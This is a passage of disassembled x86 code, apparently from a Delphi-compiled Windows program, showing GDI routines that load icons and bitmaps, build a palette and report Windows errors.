; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4143A8	proc near		; CODE XREF: sub_4143C0+5p
					; sub_4143CC+5p
		push	ebx
		mov	ebx, eax
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_4133B8
		call	sub_40950C
		call	sub_402F98
		pop	ebx
		retn
sub_4143A8	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4143C0	proc near		; CODE XREF: sub_414CF0+1Dp
		mov	eax, ds:off_41DB44
		call	sub_4143A8
		retn
sub_4143C0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4143CC	proc near		; CODE XREF: sub_415764+64p
					; sub_4157DC+1Ep ...
		mov	eax, ds:off_41DB4C
		call	sub_4143A8
		retn
sub_4143CC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4143D8	proc near		; CODE XREF: sub_41442C+7Ep
					; sub_414790+58p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_414422
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_41DAF0
		call	sub_404B80
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_40B800
		call	sub_409450
		call	sub_402F98
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414429

loc_414419:				; CODE XREF: CODE:00414427j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_4143D8	endp ; sp = -0Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414422:				; DATA XREF: sub_4143D8+8o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414419
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414429:				; DATA XREF: sub_4143D8+3Co
		pop	ecx
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41442C	proc near		; CODE XREF: sub_4144D4+7p
					; sub_4144E4+72p ...

var_104		= dword	ptr -104h
var_100		= byte ptr -100h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		xor	eax, eax
		mov	[ebp+var_104], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4144C8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	j_GetLastError_0
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4144AA
		push	0
		push	100h
		lea	eax, [ebp+var_100]
		push	eax
		push	400h
		push	ebx
		push	0
		push	1000h
		call	j_FormatMessageA
		test	eax, eax
		jz	short loc_4144AA
		lea	eax, [ebp+var_104]
		lea	edx, [ebp+var_100]
		mov	ecx, 100h
		call	sub_4036F8
		mov	ecx, [ebp+var_104]
		mov	dl, 1
		mov	eax, ds:off_40B800
		call	sub_409450
		call	sub_402F98
		jmp	short loc_4144AF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4144AA:				; CODE XREF: sub_41442C+29j
					; sub_41442C+4Dj
		call	sub_4143D8

loc_4144AF:				; CODE XREF: sub_41442C+7Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4144CF

loc_4144BC:				; CODE XREF: CODE:004144CDj
		lea	eax, [ebp+var_104]
		call	sub_4034C8
		retn
sub_41442C	endp ; sp = -110h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4144C8:				; DATA XREF: sub_41442C+15o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4144BC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4144CF:				; DATA XREF: sub_41442C+8Bo
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4144D4	proc near		; CODE XREF: sub_414790+96p
					; sub_414790+14Dp
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4144E0
		call	sub_41442C

loc_4144E0:				; CODE XREF: sub_4144D4+5j
		mov	eax, ebx
		pop	ebx
		retn
sub_4144D4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4144E4	proc near		; CODE XREF: sub_414790+B4p
					; sub_414790+16Bp

var_34		= byte ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFCCh
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		lea	edi, [ebp+var_C]
		movsd
		movsd
		mov	ebx, ecx
		mov	[ebp+var_4], eax
		push	0
		call	j_CreateCompatibleDC
		mov	[ebp+var_18], eax
		push	0
		call	j_CreateCompatibleDC
		mov	[ebp+var_1C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_414632
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_34]
		push	eax
		push	18h
		mov	eax, [ebp+var_4]
		push	eax
		call	j_GetObjectA
		test	bl, bl
		jz	short loc_414546
		push	0
		push	1
		push	1
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		call	j_CreateBitmap
		mov	[ebp+var_10], eax
		jmp	short loc_4145A8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414546:				; CODE XREF: sub_4144E4+48j
		push	0
		call	j_GetDC
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_41455B
		call	sub_41442C

loc_41455B:				; CODE XREF: sub_4144E4+70j
		xor	eax, eax
		push	ebp
		push	offset loc_4145A1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	j_CreateCompatibleBitmap
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_414588
		call	sub_41442C

loc_414588:				; CODE XREF: sub_4144E4+9Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4145A8

loc_414595:				; CODE XREF: sub_4144E4+C2j
		mov	eax, [ebp+var_14]
		push	eax
		push	0
		call	j_ReleaseDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4145A1:				; DATA XREF: sub_4144E4+7Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414595
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4145A8:				; CODE XREF: sub_4144E4+60j
					; DATA XREF: sub_4144E4+ACo
		cmp	[ebp+var_10], 0
		jz	short loc_414612
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		call	j_SelectObject
		mov	ebx, eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		call	j_SelectObject
		mov	esi, eax
		push	0CC0020h
		mov	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_30]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		push	0
		push	0
		mov	eax, [ebp+var_1C]
		push	eax
		call	j_StretchBlt
		test	ebx, ebx
		jz	short loc_414604
		push	ebx
		mov	eax, [ebp+var_18]
		push	eax
		call	j_SelectObject

loc_414604:				; CODE XREF: sub_4144E4+114j
		test	esi, esi
		jz	short loc_414612
		push	esi
		mov	eax, [ebp+var_1C]
		push	eax
		call	j_SelectObject

loc_414612:				; CODE XREF: sub_4144E4+C8j
					; sub_4144E4+122j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414639

loc_41461F:				; CODE XREF: CODE:00414637j
		mov	eax, [ebp+var_18]
		push	eax
		call	j_DeleteDC
		mov	eax, [ebp+var_1C]
		push	eax
		call	j_DeleteDC
		retn
sub_4144E4	endp ; sp = -48h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414632:				; DATA XREF: sub_4144E4+2Co
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41461F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414639:				; DATA XREF: sub_4144E4+136o
		mov	eax, [ebp-10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414644	proc near		; CODE XREF: sub_414790+41p
		mov	edx, eax
		dec	dx
		jz	short loc_414657
		sub	dx, 3
		jz	short loc_414657
		sub	dx, 4
		jnz	short loc_414661

loc_414657:				; CODE XREF: sub_414644+5j
					; sub_414644+Bj
		mov	ecx, eax
		mov	eax, 1
		shl	eax, cl
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414661:				; CODE XREF: sub_414644+11j
		xor	eax, eax
		retn
sub_414644	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_414664	proc near		; CODE XREF: sub_414790+29p
					; sub_414790+FEp ...
		dec	ecx
		imul	edx
		add	eax, ecx
		not	ecx
		and	eax, ecx
		test	eax, eax
		jns	short loc_414674
		add	eax, 7

loc_414674:				; CODE XREF: sub_414664+Bj
		sar	eax, 3
		retn
sub_414664	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_414678	proc near

var_424		= byte ptr -424h
var_420		= byte ptr -420h
var_408		= word ptr -408h
var_406		= word ptr -406h
var_404		= byte ptr -404h
var_3E8		= dword	ptr -3E8h
var_3E4		= byte ptr -3E4h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBF8h
		push	ebx
		mov	[ebp+var_408], 300h
		mov	[ebp+var_406], 10h
		lea	edx, [ebp+var_404]
		mov	ecx, 40h
		call	sub_4026B0
		push	0
		call	j_GetDC
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_414775
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	68h
		mov	eax, [ebp+var_4]
		push	eax
		call	j_GetDeviceCaps
		mov	ebx, eax
		cmp	ebx, 10h
		jl	loc_41475C
		lea	eax, [ebp+var_404]
		push	eax
		push	8
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	j_GetSystemPaletteEntries
		cmp	[ebp+var_3E8], 0C0C0C0h
		jnz	short loc_41473E
		lea	eax, [ebp+var_3E8]
		push	eax
		push	1
		mov	eax, ebx
		sub	eax, 8
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	j_GetSystemPaletteEntries
		movzx	eax, [ebp+var_406]
		lea	eax, [ebp+eax*4+var_420]
		push	eax
		push	7
		sub	ebx, 7
		push	ebx
		mov	eax, [ebp+var_4]
		push	eax
		call	j_GetSystemPaletteEntries
		lea	eax, [ebp+var_3E4]
		push	eax
		push	1
		push	7
		mov	eax, [ebp+var_4]
		push	eax
		call	j_GetSystemPaletteEntries
		jmp	short loc_41475C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41473E:				; CODE XREF: sub_414678+78j
		movzx	eax, [ebp+var_406]
		lea	eax, [ebp+eax*4+var_424]
		push	eax
		push	8
		sub	ebx, 8
		push	ebx
		mov	eax, [ebp+var_4]
		push	eax
		call	j_GetSystemPaletteEntries

loc_41475C:				; CODE XREF: sub_414678+54j
					; sub_414678+C4j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41477C

loc_414769:				; CODE XREF: sub_414678+102j
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		call	j_ReleaseDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414775:				; DATA XREF: sub_414678+39o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414769
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41477C:				; DATA XREF: sub_414678+ECo
		lea	eax, [ebp+var_408]
		push	eax
		call	j_CreatePalette
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_414678	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_414790	proc near		; CODE XREF: CODE:00414BBBp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	ebx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	dword ptr [eax+8], 1
		mov	edx, [ebp+var_4]
		movzx	edx, word ptr [edx+0Eh]
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	ecx, 20h
		call	sub_414664
		mov	edx, [ebp+var_4]
		imul	dword ptr [edx+8]
		mov	edx, [ebp+var_4]
		mov	[edx+14h], eax
		mov	eax, [ebp+var_4]
		mov	ax, [eax+0Eh]
		call	sub_414644
		mov	esi, eax
		push	0
		call	j_GetDC
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4147ED
		call	sub_4143D8

loc_4147ED:				; CODE XREF: sub_414790+56j
		xor	edx, edx
		push	ebp
		push	offset loc_41493C
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	edi, [ebp+var_4]
		mov	eax, edi
		add	eax, 28h
		mov	edx, esi
		shl	edx, 2
		add	eax, edx
		mov	[ebp+var_14], eax
		push	0
		mov	eax, [ebp+var_4]
		push	edi
		mov	eax, [ebp+var_14]
		push	eax
		push	4
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		call	j_CreateDIBitmap
		call	sub_4144D4
		mov	[ebp+var_C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_414862
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, [ebp+var_C]
		call	sub_4144E4
		mov	[ebx], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414869

loc_414858:				; CODE XREF: sub_414790+D7j
		mov	eax, [ebp+var_C]
		push	eax
		call	j_DeleteObject
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414862:				; DATA XREF: sub_414790+A1o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414858
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414869:				; DATA XREF: sub_414790+C3o
		mov	eax, [ebp+var_4]
		mov	eax, [eax+14h]
		add	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		mov	bx, 1
		mov	[eax+0Eh], bx
		mov	eax, [ebp+var_4]
		movzx	edx, bx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	ecx, 20h
		call	sub_414664
		mov	edx, [ebp+var_4]
		imul	dword ptr [edx+8]
		mov	edx, [ebp+var_4]
		mov	[edx+14h], eax
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+20h], 2
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+24h], 2
		mov	eax, [ebp+var_4]
		add	eax, 28h
		xor	edx, edx
		mov	[eax], edx
		mov	dword ptr [eax+4], 0FFFFFFh
		push	0
		mov	ebx, [ebp+var_4]
		push	ebx
		mov	eax, [ebp+var_14]
		push	eax
		push	4
		mov	eax, [ebp+var_4]
		push	ebx
		mov	eax, [ebp+var_10]
		push	eax
		call	j_CreateDIBitmap
		call	sub_4144D4
		mov	[ebp+var_C], eax
		xor	eax, eax
		push	ebp
		push	offset loc_41491C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, [ebp+arg_0]
		mov	cl, 1
		mov	eax, [ebp+var_C]
		call	sub_4144E4
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414923

loc_414912:				; CODE XREF: sub_414790+191j
		mov	eax, [ebp+var_C]
		push	eax
		call	j_DeleteObject
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41491C:				; DATA XREF: sub_414790+158o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414912
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414923:				; DATA XREF: sub_414790+17Do
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414943

loc_414930:				; CODE XREF: sub_414790+1B1j
		mov	eax, [ebp+var_10]
		push	eax
		push	0
		call	j_ReleaseDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41493C:				; DATA XREF: sub_414790+60o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414930
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414943:				; DATA XREF: sub_414790+19Bo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_414790	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_41494C	proc near		; CODE XREF: CODE:00414AE4p
					; CODE:00414B05p
		test	eax, eax
		jnz	short locret_414955
		mov	eax, 7FFFFFFFh

locret_414955:				; CODE XREF: sub_41494C+2j
		retn
sub_41494C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_414958	proc near		; CODE XREF: CODE:00414B2Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		mov	cl, [edx]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	eax, [eax]
		sub	ecx, eax
		xor	ebx, ebx
		mov	bl, [edx+1]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+8]
		sub	ebx, [edx+4]
		mov	esi, [ebp+var_4]
		movzx	esi, byte ptr [esi]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+8]
		sub	esi, eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+1]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+8]
		sub	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	eax, ecx
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	edi, eax
		mov	eax, esi
		cdq
		xor	eax, edx
		sub	eax, edx
		cmp	edi, eax
		jg	short loc_4149DB
		test	ecx, ecx
		jle	short loc_4149BD
		cmp	esi, ecx
		jl	short loc_4149DB

loc_4149BD:				; CODE XREF: sub_414958+5Fj
		mov	eax, ebx
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, eax
		mov	eax, [ebp+var_8]
		cdq
		xor	eax, edx
		sub	eax, edx
		cmp	ecx, eax
		jg	short loc_4149DB
		test	ebx, ebx
		jle	short loc_4149DF
		cmp	ebx, [ebp+var_8]
		jle	short loc_4149DF

loc_4149DB:				; CODE XREF: sub_414958+5Bj
					; sub_414958+63j ...
		xor	eax, eax
		jmp	short loc_4149E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4149DF:				; CODE XREF: sub_414958+7Cj
					; sub_414958+81j
		mov	al, 1

loc_4149E1:				; CODE XREF: sub_414958+85j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_414958	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_4149E8	proc near		; CODE XREF: sub_415764+5Dp

var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF90h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+var_C]
		shl	eax, 4
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_14]
		call	sub_406D34
		mov	[ebp+var_10], eax
		xor	edx, edx
		push	ebp
		push	offset loc_414CDF
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	edx, [ebp+var_10]
		mov	ecx, [ebp+var_14]
		mov	eax, [ebp+var_4]
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	eax, [ebx]
		or	eax, [ebx+4]
		jnz	short loc_414A4F
		push	0Bh
		call	j_GetSystemMetrics
		mov	edx, [ebp+arg_0]
		mov	[edx], eax
		push	0Ch
		call	j_GetSystemMetrics
		mov	edx, [ebp+arg_0]
		mov	[edx+4], eax
		jmp	short loc_414A5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414A4F:				; CODE XREF: sub_4149E8+4Aj
		mov	eax, [ebp+arg_0]
		mov	edx, [ebx]
		mov	[eax], edx
		mov	edx, [ebx+4]
		mov	[eax+4], edx

loc_414A5C:				; CODE XREF: sub_4149E8+65j
		push	0
		call	j_GetDC
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_414A71
		call	sub_4143D8

loc_414A71:				; CODE XREF: sub_4149E8+82j
		xor	edx, edx
		push	ebp
		push	offset loc_414AD1
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	0Eh
		mov	eax, [ebp+var_28]
		push	eax
		call	j_GetDeviceCaps
		mov	ebx, eax
		push	0Ch
		mov	eax, [ebp+var_28]
		push	eax
		call	j_GetDeviceCaps
		imul	bx, ax
		mov	eax, ebx
		cmp	ax, 8
		jbe	short loc_414AAC
		mov	[ebp+var_1C], 7FFFFFFFh
		jmp	short loc_414AB8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414AAC:				; CODE XREF: sub_4149E8+B9j
		mov	ecx, eax
		mov	eax, 1
		shl	eax, cl
		mov	[ebp+var_1C], eax

loc_414AB8:				; CODE XREF: sub_4149E8+C2j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_414AD8

loc_414AC5:				; CODE XREF: CODE:00414AD6j
		mov	eax, [ebp+var_28]
		push	eax
		push	0
		call	j_ReleaseDC
		retn
sub_4149E8	endp ; sp = -90h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414AD1:				; DATA XREF: sub_4149E8+8Co
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_414AC5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_414AD8:				; DATA XREF: sub_4149E8+D8o
		xor	eax, eax
		mov	[ebp-24h], eax
		mov	eax, [ebp-10h]
		movzx	eax, word ptr [eax+2]
		call	sub_41494C
		mov	[ebp-20h], eax
		mov	edi, [ebp-0Ch]
		dec	edi
		test	edi, edi
		jle	short loc_414B40
		mov	esi, 1

loc_414AF9:				; CODE XREF: CODE:00414B3Ej
		mov	eax, esi
		add	eax, eax
		mov	edx, [ebp-10h]
		movzx	eax, word ptr [edx+eax*8+2]
		call	sub_41494C
		mov	ebx, eax
		cmp	ebx, [ebp-1Ch]
		jg	short loc_414B3C
		cmp	ebx, [ebp-20h]
		jl	short loc_414B3C
		push	ebp
		mov	eax, esi
		add	eax, eax
		mov	edx, [ebp-10h]
		lea	edx, [edx+eax*8]
		mov	eax, [ebp-24h]
		add	eax, eax
		mov	ecx, [ebp-10h]
		lea	eax, [ecx+eax*8]
		call	sub_414958
		pop	ecx
		test	al, al
		jz	short loc_414B3C
		mov	[ebp-24h], esi
		mov	[ebp-20h], ebx

loc_414B3C:				; CODE XREF: CODE:00414B0Fj
					; CODE:00414B14j ...
		inc	esi
		dec	edi
		jnz	short loc_414AF9

loc_414B40:				; CODE XREF: CODE:00414AF2j
		mov	eax, [ebp-24h]
		add	eax, eax
		mov	edx, [ebp-10h]
		lea	eax, [edx+eax*8]
		mov	[ebp-40h], eax
		mov	eax, [ebp-40h]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		mov	[edx], eax
		mov	eax, [ebp-40h]
		movzx	eax, byte ptr [eax+1]
		mov	edx, [ebp+8]
		mov	[edx+4], eax
		mov	eax, [ebp-40h]
		mov	eax, [eax+8]
		call	sub_406D34
		mov	[ebp-2Ch], eax
		xor	eax, eax
		push	ebp
		push	offset loc_414CBF
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp-40h]
		mov	edx, [eax+0Ch]
		mov	eax, [ebp-14h]
		add	eax, [ebp+10h]
		sub	edx, eax
		mov	cx, 1
		mov	eax, [ebp-4]
		mov	ebx, [eax]
		call	dword ptr [ebx+0Ch]
		mov	eax, [ebp-40h]
		mov	ecx, [eax+8]
		mov	ebx, [ebp-2Ch]
		mov	edx, ebx
		mov	eax, [ebp-4]
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	eax, [ebp+8]
		push	eax
		lea	ecx, [ebp-38h]
		lea	edx, [ebp-34h]
		mov	eax, ebx
		call	sub_414790
		lea	eax, [ebp-70h]
		push	eax
		push	18h
		mov	eax, [ebp-38h]
		push	eax
		call	j_GetObjectA
		lea	eax, [ebp-58h]
		push	eax
		push	18h
		mov	eax, [ebp-34h]
		push	eax
		call	j_GetObjectA
		mov	ebx, [ebp-64h]
		imul	ebx, [ebp-68h]
		movzx	eax, word ptr [ebp-60h]
		imul	ebx, eax
		mov	eax, [ebp-4Ch]
		imul	dword ptr [ebp-50h]
		movzx	edx, word ptr [ebp-48h]
		imul	edx
		mov	[ebp-3Ch], eax
		mov	eax, [ebp-3Ch]
		add	eax, ebx
		mov	[ebp-18h], eax
		mov	eax, [ebp-18h]
		call	sub_406D34
		mov	[ebp-30h], eax
		xor	eax, eax
		push	ebp
		push	offset loc_414C9C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edi, [ebp-30h]
		mov	esi, [ebp-30h]
		add	esi, ebx
		push	edi
		push	ebx
		mov	eax, [ebp-38h]
		push	eax
		call	j_GetBitmapBits
		push	esi
		mov	eax, [ebp-3Ch]
		push	eax
		mov	eax, [ebp-34h]
		push	eax
		call	j_GetBitmapBits
		mov	eax, [ebp-34h]
		push	eax
		call	j_DeleteObject
		mov	eax, [ebp-38h]
		push	eax
		call	j_DeleteObject
		push	esi
		push	edi
		mov	al, [ebp-46h]
		push	eax
		mov	al, [ebp-48h]
		push	eax
